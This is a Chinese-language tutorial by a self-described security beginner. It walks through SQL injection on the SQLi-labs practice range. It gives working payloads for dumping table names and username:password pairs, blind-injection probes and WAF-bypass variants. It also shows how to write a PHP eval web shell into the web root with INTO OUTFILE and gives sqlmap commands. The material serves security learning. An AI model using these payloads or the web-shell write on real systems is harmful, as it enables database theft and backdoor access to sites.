免责声名
博主是一位网络安全初学者加爱好者,所写的文章是作为经验分享,同时给自己做笔记;
若用到上述技术违法,应本人自负责。
一、什么是SQL注入
SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定好的查询语句的结尾上添加额外SQL语句,在管理员不知情的情况下实现非法操作,以此实现欺骗数据库服务器执行的非授权的任意查询,进而数据和信息泄露(所有数据都离不开数据库)
web应用的三层架构:视图层+业务逻辑层+数据访问层
二、要对SQL数据库要有了解
数据库的不同,注入方式也有少许的变化
1、常用的数据库
2、数据库服务器的层级关系
2、系统库(有四个系统库)
提供了访问数据库元数据的方式
元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
(跟身份证一样)
四个数据库,这个数据库最重要
3、语法
show database #查询当前所有数据库
use [数据库名字] #选中数据库
show tables #查询当前所有数据表
select * from [表名] #星号是通配符,查询所有,from后面跟着表名是来自于哪个表
where [条件] #在select * from 后面写where加上条件
union #合并查询(放在两条sql语句中间形成合并)
order by [字段名字] #排序,也可以字段名字改成数据。 拆解表有几列。
4、靶场--SQLi-labs
下载地址:https://github.com/Audi-1/sqli-labs
三、SQL手工注入
1、进行SQL注入要判断有没有注入点
and 1=1
随便输入内容 == 报错有注入,没报错无注入
2、猜解列名数量
order by 数字 ---数字超过列数进行报错
3、报错的方式,判断回显点
union select 1,2,3
4、信息收集
数据库版本:version()
高版本:5.0以上 高版本有系统库
低版本:5.0以下
查看数据库名称函数:database()
5、使用对应的SQL进行注入
(1、爆数据表
数据库库名:security
infromation_schema.tables在系统库里寻找表名
union select 1,table_name,3 from information_schema.tables where table_schema='security'
group_concat() 可以去重,也可以全部显示
爆出的表:emails,referers,uagents,users
(2、爆数据列(字段)
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
爆出列(字段):user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
(3、爆数据
union select 1,2,(select group_concat(username,0x3a,password)) from users
0x3a ----表示分号符(:)
union select 1,group_concat(username),group_concat(password) from users
个人觉得这个看的更加详细
6、SQL高权限注入
(1、在系统库中有个mysql系统库
user表 #最高级别,最高权限
db表 #对某个数据库的一个权限
tabls_priv #对一个表的操作权限
columns_priv #对一个字段的操作权限
(2、mysql权限的验证过程
(3、手工高权限注入
id=-1 union select 1,user(),3
可以看见root用户为最高权限,进行夸库读取
(4、SQL注入之文件读写
读写:1、用户信息 账号 密码
2、配置信息
3、写入:一句话木马(后门)
高版本的mysql有个新特性secure_file_priv这个文件限制了mysql的读写导出的权限
要在sql配置文件的my.ini里添加
如果secure_file_priv: #读写没有限制
如果secure_file_priv:null #读写不了
如果secure_file_priv:[路径] #只在该路径可以读写
load_file('[路径]') 读取函数
如果上面都配置没问题的话,就重启一下phpstady
路径获取常见方式:
报错显示,遗留文件,漏洞报错,平台配置文件等
into outfile #写入函数(能写入多行,按格式输出)
outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径
into dumpfile #只能写入一行且没有输出格式
id=1 union select 1,'goutuo',3 into outfile 'g:/goutuo.php'--+
写入进去,如果要一句话木马的话,我尝试了直接写入是不行的,还是得通过一些特殊的一句话木马
id=1 union select 1,'<?php @eval($_POST[6]); ?>',3 into outfile 'G:/php/phpstudy_pro/WWW/sqli-labs-master/goutuo.php'--+
这就是写入进去的一句话木马(后门)用蚁剑连接就OK了
四、SQL注入数据类型($-->你输入的值)
1、数字型
数字型的sql语句是
select * from users where id=$ limit 0,1
报错方式:判断注入点,有报错,就有注入点。
and 1=2
随便输点东西
2、字符型
字符型的sql语句是
select * from users where id='$' limit 0,1
字符型输入1 and 1=1
select * from users where id='1 and 1=1' limit 0,1
会把'1 and 1=1'变成一个整体,同时自动过滤后面内容。
用数字型的报错方式对于字符型都毫无意义
报错方式:判断注入点,有报错,就有注入点。
1'
3、搜索型(模糊查询)
sql语句:
select * from useres where like '%$%' %-->通配符
y%' or 1=1 # 传进去
select * from useres where like '%y%' or 1=1 # %'
所以每一种类型基本上都是闭合所设置的类型,进行注入
4、xx型(其他类型)
闭合符号:
'
''
%
(
{
都得去试一下。
五、SQL注入数据提交方式
1、get方式注入
gat注入方式比较常见,主要是通过url中传输数据到后台,带入到数据库中执行,可利用联合注入方式直接注入(第三章用的就是url注入)
场景:数据不敏感,安全性不高,传递数据快,数据长度有限
2、post方式注入
post提交方式主要适用于表单提交,用于登录框的注入,直接传递给服务器
方法:利用bp抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可以转化为网页显示。
场景:安全性高,长度不限,速度慢
3、Request方式注入
超全局变量PHP中的许多预定义变量都是“超全局”,就是既可以接收get方式也可以接收post方式
还有一个cookie
cookie会和后端服务器有一定的数据交互,导致也可以注入
cookie注入:可以直接绕过一些常规防御
六、SQL报错盲注
1、SQL查询方式(查询方式都可以进行或者尝试注入)
select 查询数据 (场景:登录)
select * from user where id=$
delete 删除数据(场景:删除、取消)
delete from user where id=$
insert 插入数据(场景:注册,添加)
inser into user (列名字) values (数据)
update 更新数据(场景:更改,报错)
update user set pwd='p' where id=1
2、基于报错的SQL盲注-报错回显(强制性报错)
前提:这边要对xml的语言有所了解
updatexml():从目标XML中更改包含所查询值的字符串(有三个参数)
第一个参数:XML_document是string格式,(就是XML文档对象的名称,就更改的文件名叫什么)
第二个参数:XPath_string(路径)
第三个参数:new value,string格式,替换查找到符合条件的数据(替换第一个参数)
updatexml(XML_document,Xpath_string,new_value)
例:
0x7e是~
后面的爆破就根据这个格式进行爆库等等
extractvalue():从目标XML中返回包含所查询值的字符串(有两个参数)
第一个参数:XML_document是string格式,(就是XML文档对象的名称,就更改的文件名叫什么)
第二个参数:XPath_string
extractvalue(XML_document,XPath_Sting)
例:
3、基于时间的SQL盲注-延时判断
要有一定的知识储备:
sleep():可以使计算机程序(进程、任务或线程)进入休眠
if():是计算机编程语言的一个关键字,分支结构
mid(a,b,c):从b开始,截取a字符串的c位
substr(a,b,c):从b开始,截取字符串a的c长度
left(database(),1),database():left(a,b)从左侧截取a的前b位
length(database())=?:判断长度
ord=ascii ascii(x)=?:判断x的ascii值是否为100
4、基于布尔的SQL盲注-逻辑判断
在web页面中仅仅会返回true和false。布尔盲注就是根据页面返回的true或者false来得到数据库信息
后面用ASCII来猜解出数据库的名字,根据最上面的手工注入进行后续猜测下面表和列名以及数据。就是很消耗时间
结合二分法
ascii有0~127个,二分法就是把他们对半分
可以先判断在哪个范围里,语法:
and ascii(mid(database(),1,1))>115 --+
或者
and ascii(mid(database(),1,1))>115 --+
来进行拆解
七、SQL注入WAF绕过
常见的WAF:
网站安全狗、宝塔、阿里云--云盾、
1、大小写绕过(比较过时)
unION Select DAtaBase()
2、内联注释绕过--/**/
union select database/**/()
/*!union*/ select database #!后面的执行
3、双写绕过
ununionion seselectlect datadatabasebase()
4、编码绕过
把过滤字段用base64或者16进制等等编码进行绕过
5、换行绕过
union #
union select database()
绕过方式有很多种,灵活运用,这边不一一举例
七、sqlmap注入工具
1、get型注入-u
sqlmap.py -u "网站"
2、post型注入
用bp抓包,然后保存抓取到的内容。例:保存为1.txt文件放在某个目录下
用-r加载一个文件
用-p指定参数
sqlmap.py -r 文件路径 -p uname --dbs
对于后面爆库以及数据就自行了解。